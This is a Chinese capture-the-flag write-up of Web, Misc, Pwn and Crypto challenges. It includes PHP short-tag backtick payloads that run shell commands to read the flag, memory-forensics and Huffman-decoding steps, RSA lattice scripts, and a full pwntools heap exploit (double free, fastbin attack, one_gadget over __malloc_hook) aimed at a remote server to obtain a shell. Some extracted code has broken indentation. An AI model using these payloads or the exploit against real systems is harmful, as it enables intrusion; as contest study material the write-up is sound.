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Web

web2

题目比较简单，限制了一些符号，但是显然可以通过短标签来写。
那么短标签中反引号可以直接执行命令。

```
<?=`ls%09/`?>  
<?=`sort%09/!*`?>
```

得到flag

Misc

Misc1

内存取证，给出了windows下一些隐藏文件夹。
根据题目描述可以得知我们需要从他的输入中获取我们想要的密码
直接开取证大师分析了。

●列表信息

序号	词汇	缩写	词汇长度	最后输入时间	删除状态
1	不成功便成仁	bcb	6	2021-03-13 19:30:16	正常
2	不过这样的话如果	bqz	8	2021-03-13 19:43:49	正常
3	成功便成	cqb	4	2021-03-13 19:38:16	正常
4	对的对的成功了	ddd	7	2021-03-13 19:39:52	正常
5	话如果	hlg	3	2021-03-13 19:43:50	正常
6	我们直接卸载软件就好了	hmz	11	2021-03-13 19:41:41	正常
7	较奇怪	jqg	3	2021-03-13 19:42:35	正常
8	如果输入	lgs	4	2021-03-13 19:42:55	正常
9	如果输入的内容太多了咋办	lgs	12	2021-03-13 19:42:54	正常
10	如果别人	lgb	4	2021-03-13 19:41:30	正常
11	如果被监视了怎么办	lgb	9	2021-03-13 19:41:03	正常
12	么干	mg	2	2021-03-13 19:43:41	正常
13	密码长度应	mmc	5	2021-03-13 19:38:16	正常
14	没事的实际上大家看不到的	msd	12	2021-03-13 19:42:43	正常
15	虚假的故事比较奇怪	xjd	9	2021-03-13 19:42:34	正常
16	卸载软件	xzl	4	2021-03-13 19:41:42	正常
17	应该是六个字的密码	ygs	9	2021-03-13 19:39:42	正常
18	这个密码长度应该蛮长的	zgm	11	2021-03-13 19:38:16	正常

37	方法	2	2021-03-13 16:45:46	正常
38	最大	2	2021-03-13 16:45:13	正常
39	有志者事竟成	6	2021-03-13 17:25:29	正常
40	未输入	3	2021-03-13 16:34:27	正常
41	比较	2	2021-03-13 16:43:08	正常
42	测试内容	4	2021-03-13 16:34:11	正常
43	用	1	2021-03-13 17:31:03	正常
44	的	1	2021-03-13 16:45:12	正常
45	破案	2	2021-03-13 16:45:12	正常
46	聊天记录	4	2021-03-13 11:09:30	正常
47	自己	2	2021-03-13 16:45:21	正常
48	藏在	2	2021-03-13 16:45:53	正常

试了试6个字的 有志者事竟成。就是密码
pdf，之前*CTF见过的pdf水印，直接测了下，出答案了。

Misc2

题目开局出题人应该像考察的是rar伪加密，但是我winrar扛着报错也成功解压了。然后得到了一个压缩包和一个图片，图片利用各种工具测后。发现通过盲水印工具可以得到模糊的文字。想到了WMCTF中出的java盲水印可以解出答案。gnibgnib 为zip密码。
那么之后可以发现剩下的就是个键盘流量了。
直接切掉就好了。
最后再hex2str

Misc3

提取流量包
根据字母的出现顺序获得字频

```
j 29
z 31
7 25
e 31
l 23
6 37
4 32
p 38
h 27
g 26
x 28
i 25
u 27
n 25
8 36
0 24
o 23
c 28
y 24
1 29
b 26
m 27
2 28
v 25
d 33
f 28
9 33
t 21
w 22
a 31
0 24
s 16
k 32
5 25
q 23
3 32
{ 1
- 4
} 1
```

构造一个haffman树获得每个字母的串

```
class Node:
    def __init__(self, name, weight):
        self.name = name
        self.weight = weight
        self.left = None
        self.right = None
        self.father = None

    def is_left_child(self):
```

```

        return self.father.left == self

def create_prim_nodes(data_set, labels):
    if(len(data_set) != len(labels)):
        raise Exception('no!')
    nodes = []
    for i in range(len(labels)):
        nodes.append( Node(labels[i],data_set[i]) )
    return nodes

def create_HF_tree(nodes):

    tree_nodes = nodes.copy()
    while len(tree_nodes) > 1:
        tree_nodes.sort(key=lambda node: node.weight)
        new_left = tree_nodes.pop(0)
        new_right = tree_nodes.pop(0)
        new_node = Node(None, (new_left.weight + new_right.weight))
        new_node.left = new_left
        new_node.right = new_right
        new_left.father = new_right.father = new_node
        tree_nodes.append(new_node)
    tree_nodes[0].father = None
    return tree_nodes[0]

def get_huffman_code(nodes):
    codes = {}
    for node in nodes:
        code = ''
        name = node.name
        while node.father != None:
            if node.is_left_child():
                code = '0' + code
            else:
                code = '1' + code
            node = node.father
        codes[name] = code
    return codes

def count_data():
    fp = open('data.txt','r',encoding='utf-8')
    content = fp.read()
    dic=dict()
    d={}
    s=set()
    s=content
    d=dict()
    for x in s:
        if x not in d.keys():

```

```

        d[x]=1
    else:
        d[x]=d[x]+1
    d2=dict()
    for x in s:
        d2[x]=d2.get(x,0)+1
    d3=dict()
    for x in s:
        d3[x]=s.count(x)
    a = [key for key, value in d3.items()]
    b = [value for key,value in d3.items()]
    for i in a:
        labels.append(i)
    for i in b:
        data_set.append(i)

def haffman_decode():
    flag = ''
    with open('flag.txt','r') as fp:
        flag_arr = fp.readlines()
        flag_arr = [line.strip("\n") for line in flag_arr]
        flag_dic = {v: k for k, v in diction.items()}
        for each in flag_arr:
            flag += flag_dic[each]
    print(flag)

if __name__ == '__main__':
    diction = {}
    labels=[]
    data_set = []
    count_data()
    nodes = create_prim_nodes(data_set,labels)
    root = create_HF_tree(nodes)
    codes = get_huffman_code(nodes)
    for key in codes.keys():
        diction_data = {key:codes[key]}
        diction.update(diction_data)
    print(diction)

    haffman_decode()

```

```

{'j': '01111', 'z': '10001', '7': '00001', 'e': '10010', 'l': '111011', '6': '11010', '4': '10100', 'p': '11011', 'h': '01000', 'g': '00110', 'x': '01011', 'i': '00010', 'u': '01001', 'n': '00011', '8': '11001', '0': '111110', 'o': '111100', 'c': '01100', 'y': '111111', '1': '10000', 'b': '00111', 'm': '01010', '2': '01101', 'v': '00100', 'd': '10111', 'f': '01110', '9': '11000', 't': '111000', 'w': '111001', 'a': '10011', 'θ': '00000', 's': '1110101', 'k': '10101', '5': '00101', 'q': '111101', '3': '10110', '{': '111010000', '-': '11101001', '}': '111010001'}

```

再带入密文
寻找flag{
为011101110111001100110111010000
寻找接下来的字符串
获得flag

Pwn

Maybe_fun_game

漏洞点在edit中，可以看到edit最后free掉了ptr，而在处理用户输入的函数中有如下的错误处理。

```
if ( qword_2030C8 != (unsigned int)(int)v12 + qword_2030D0 + 32 )
{
    v18 = "Illegal Head!";
_ABEL_23:
    printf(v18);
    free(ptr);
    free(qword_2030E0);
    return "ERROR";
}
```

其中也free了ptr但未置空，同时后续还free掉了存储填充数据的堆块，因此可以借助其来绕过fastbin对double free的检测。

接下来的问题是如何构造输入，分析可知输入的头部有5个部分，依次是0x1234567812345678 (magic number)，输入的总长度，填充数据的长度，有效数据的长度和0x4141414141414141 (key)。最后key的长度也是算在填充数据长度中的，构造好之后base64编码即可。

下一个问题是libc地址的泄露，这可以通过设置较大的填充数据长度来实现。

```
if ( qword_2030D8 > 0 )
{
    v16 = 0LL;
    do
    {
        *((_BYTE *)ptr + v16) = v26[v16 - 0x3FF0 + qword_2030D0];
        ++v16;
    }
    while ( qword_2030D8 > v16 );
    v14 = qword_2030E0;
}
```

只要设置长度为0x4038，show的时候就可以泄露出栈上的__libc_start_main_ret地址。

最后利用double free进行fastbin attack写one gadget到malloc_hook上就可以getshell。

不过还有一个小问题是利用edit泄露libc地址时会报错，动态调试发现总长度变小了0x100，因此需要额外再加上0x100。

```

$ ./getflag
[DEBUG] Sent 0xa bytes:
'./getflag\n'
[DEBUG] Received 0x37 bytes:
00000000 1b 5b 34 37 3b 33 31 3b 35 6d 43 6f 6e 67 72 61  ·[47;31;5mCo ngra
00000010 74 75 6c 61 74 69 6f 6e 73 2c 70 6c 65 61 73 65  tula tion s,pl ease
00000020 20 69 6e 70 75 74 20 79 6f 75 72 20 74 6f 6b 65  inp ut y our toke
00000030 6e 3a 1b 5b 30 6d 20  n:[0m
00000037
Congratulations,please input your token: $ █

```

exp:

```

from pwn import *
import base64
context.log_level='debug'

def d64(s):
    return base64.b64encode(s)

def b64():
    res = sh.recvline()
    res = base64.b64decode(res)[40:]
    return res

def add(size,offset,content,if_error):
    sh.sendafter('SA/Pg==\n',gen_payload(8,8,p64(0x31),0))
    size=str(size)

    payload=gen_payload(len(size),offset,size,0)
    sh.sendafter('UgPj4=\n',payload)
    payload=gen_payload(len(content),offset,content,if_error)
    sh.sendafter('bnQgPj4=\n',payload)

def free():
    sh.sendafter('SA/Pg==\n',gen_payload(8,8,p64(0x32),0))

def edit(offset,content,if_error,if_use_double):
    global if_double
    sh.sendafter('SA/Pg==\n',gen_payload(8,8,p64(0x33),0))
    if_double=if_use_double
    payload=gen_payload(len(content),offset,content,if_error)
    print(hex(offset+len(content)+0x20))
    #pause()
    sh.sendafter('bnQgPj4=\n',payload)

def show():
    sh.sendafter('SA/Pg==\n',gen_payload(8,8,p64(0x34),0))

def gen_payload(size,offset,content,if_error):
    global if_double
    payload=p64(0x1234567812345678)
    if(if_error):
        payload+=p64(offset+size+0x120)

```

```

    else:
        payload+=p64(offset+size+0x20)#arg1
        payload+=p64(offset)
        payload+=p64(size+if_double)#size
        payload+=p64(0x4141414141414141)
        if(if_error):
            payload+=content
        else:
            payload+="a"*(offset-8)+content
        payload=d64(bytes(payload))
        return payload

global if_double
if_double=0
#sh=process('Maybe_fun_game')
#pause()
sh=remote('8.140.179.11',13452)
add(0x30,8,"a"*8+'\x00',0)

edit(0x3ff0+0x28+0x20,"a"*0x6e+'\n',1,0)

show()
libc_base=u64(b64().ljust(8,'\x00'))-0x20840
print(hex(libc_base))
malloc_hook=libc_base+0x3c4af5-8
one_gadget=libc_base+0x4527a

free()
add(0x10,8,"a"*8+'\x00',0)
edit(0x60,"a"*0x5e+'\n',0,1)
if_double=0
add(0x60,8,p64(malloc_hook),0)

add(0x60,8,"aaaa\x00",0)
add(0x60,8,"aaaa\x00",0)
#pause()

add(0x60,8,"a"*19+p64(one_gadget),0)

sh.interactive()

```

Crypto

RSA attack

```

$
(p-1)!equiv -1\ (mod\ p)
$
按题目中代码获得P的高位，再copperSmith解出P

```



```

import gmpy2

p1 =
1720712010939452941542922406318097335451545596333867582340638240534388359585155
4335491124997117417264960625793685762754731176017451131698440976773898124787700
5802155796623587461774104951797122995266217334158736848307655543970322950339988
489801672160058805422153816950022590644650247595501280192205506649936031
p2 =
1720712010939452941542922406318097335451545596333867582340638240534388359585155
4335491124997117417264960625793685762754731176017451131698440976773898124787700
5802155796623587461774104951797122995266217334158736848307655543970322950339988
489801672160058805422153816950022590644650247595501280192205506649902034

s = p1 - p2

p_1 = -1
for i in range(1, s):
    p_1 = p_1 * inverse_mod((p1 - i), p1) % p1

p3 = int(gmpy2.next_prime(p_1 % p1))

p4 = p3 >> 50 << 50

p = p4
n =
0xe27e847b1cece6ad3d8a35c27022d94cc14016f9550d41b87b85f946edf0a1c01d8c79a663244
143550cfce88038bf29d65070d021991455e4570ea57ea1effc1cf380d572473dc6ea0dc150c431
761181e66c578eaeebf156c445d3b6141dda961aa467f4d2c811859534027e5b9e67eb4db051c82
602208cfe92674013aafa5b437ae404876eccc2f453bb16734adccc5fb87b16e980e52484f6b9f
4bdeb99f2e7dc606bb65628e3f62c7df11abd553ffc6b95d3dda592fa81df5e584687864de702d1
0669e3aac75ad9c6284b98b44140f347307243b2485f59fa5c3f0eaeaf0addade803f2f09cd4c77
f27d672756b9cc62a6325247d8608390e761dc91
pbits = p.bit_length()
kbits = 50
pbar = p & (2^pbits-2^kbits)
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
P = int(p + x0)

e = 3

Q = n // P

d = inverse_mod(e, (P-1)*(Q -1))

c =
1583998182683154839688603674968266327303554822096981948007139220123747743392036
2840542848967952612687163860026284987497137578272157113399130705412843449686711

```

```
908583139117413
```

```
print(bytes.fromhex(hex(pow(c, d, n))[2:]))
```

ezCRT

构造格将d解出, \$|d - flag|\$应该不大, 直接输出bytes(d)就可以

N =

```
[925684196747312900883216213564821605068978056157225685941084493471049243574041
8347691164277785582099139888115676406818484076887374971809359871255114252947451
4837161712525386555067489900887826033760157015587905876891826276883359425048106
383489316555600680137377034136599761900203863336332834524981581608546277,
```

```
1563964738185635410244820143728669296051984433825241968793622842240991174012206
7901115672346251056513155594947105996417976794596049847301200822004510549012250
3438703770112687917922899337041421537937431868908340506324082719417747902320117
904166584374628828367801012533926776313544525573302674702867896838756349,
```

```
1583948332436203451703139574797960813904463087531632672944274711810126798790609
2167628736117492631008050000354077326101200568205074318811033587221699284335290
2160171999286576526304619756655278142788064189969927027027650043645613441449926
633380809295720977302961310978360575684689811662689798196832145977450067,
```

```
1600882370131529960623037193452755900408202988637296706606215446254516385419311
3902611448045274839790115592389046541594615007627268425186716989316324873667341
9035618274961179288085209456220719404244194802327491684233804878013160262798831
738441790443743813368173495029170393018727204042599457829167334217403039,
```

```
1761253614223848526654478041500301740088494870207282961693400936185593671270863
8177833161304359501079629577239470822218470370123068560917276776142662037900106
2695169120599393984950488304290958534830276649464003949555105491117656796777657
620812669612752464591728873199832200616338112460100967288829163217253937]
```

E =

```
[693120280093552873691511909146819785152249020991266262881062024815610838695123
8197646680091204917255747995640018928117978985018236719232437029288050800595189
2909864237831856642160554901550928757105750738313195248541515727624216048436593
804176317465366380022764459799506858495981817822670957526705611211712923,
```

```
7565284867898923996239120258412583550382957069437318915763615543663390823436297
3839251550542975725789188895010096917574118924190081886365041870173203566890015
4767618575469149599287311406193416349831449099621067590489180252488279731613840
45263311189477657141886093632791593341193393085433749877270828641736687,
```

```
3378788034141835542741160153831512986248852965631014518200980122701451255503682
2623215545927750632031483856865027938518144081751233475248361490189179988637342
4298056073526705435557438223905559495690613407410150734820510599722837934907987
01339277926430357560613555427570475360496737455291914090967005368044847,
```

```
4589427160304794528179062411231393874054171133158477548126177672821354426210883
```

5859642003140814571796838418889270625806159755478669858113687476417240730385707
1712899220649650842830277303931462197882286897788732666186634732317446462934060
30907691363263939114550226424730102211751706087680590823466426973879111,

3946278006656405108536588908333747228827722362801490770484499441924254162336892
0096395581667207909872944692627394665038729398405841875334128211337544205143876
6529490048179621239511327538017071343331323590393762833316859976195315702702699
64807335633423631078057345827010794671894948828680193958561375351954627]

C =

[706565317398633346290694952311166623770389747503953970254889622211015097472765
4896763499365999971091001488377134096660757367117524971749285095166662101248507
8239657326820091934500574290513176979971967775816373027085724550903786025270047
6102090438501579886321486095767737006847692632649652528793934802014895,

3997629350579273141750034247325946641374632437357016085660703956468705679706811
4044891309890160001547746290678089875953230720229396293686037539133378586045964
7933874336793048991585468348373141011380694009943347200710060488159986606914729
91971598192116289517127819703723844842002711298154106615035755646791235,

8262293694879197106348119531058744761437526563040768816165117344016094196483917
3273115526802240672776681580169092371677673709037579318090622040018030730165371
9973311461717512287915247476222852565917794192748456595670015221829954688197205
94650389854677582186770321424062935881407083956991646633760500152137305,

4792467252303374021945477430939700654385100247327174760367634932267078224551963
7286314088457132590816165876451615235937683074852920250584155682791595116359054
8899408422813247094266167717653128258426342376782432133505513426908705685162320
78792788925700389762945955053433276153136302757700081859531596237286407,

1574627206449702560508434344598282471392561404064094298964183171090643659362949
3924415929255018448246997281925818411986559834692190922006026614524116473460331
6978286567811044606538176157224828857158099074286931716459626013079677895357212
211176535500327064375073662684801175545519382470886239209020257096407424]

delta = 400./1024

M = int(sqrt(N[4]))

B = Matrix(ZZ, [[M, E[0], E[1], E[2], E[3], E[4]],
[0, -N[0], 0, 0, 0, 0],
[0, 0, -N[1], 0, 0, 0],
[0, 0, 0, -N[2], 0, 0],
[0, 0, 0, 0, -N[3], 0],
[0, 0, 0, 0, 0, -N[4]]])

L = B.LLL()

d = int(L[0][0] / M)

for i in range(5):

print(bytes.fromhex(hex(pow(C[0], d, N[0]))[2:]))

print(bytes.fromhex(hex(d)[2:]))

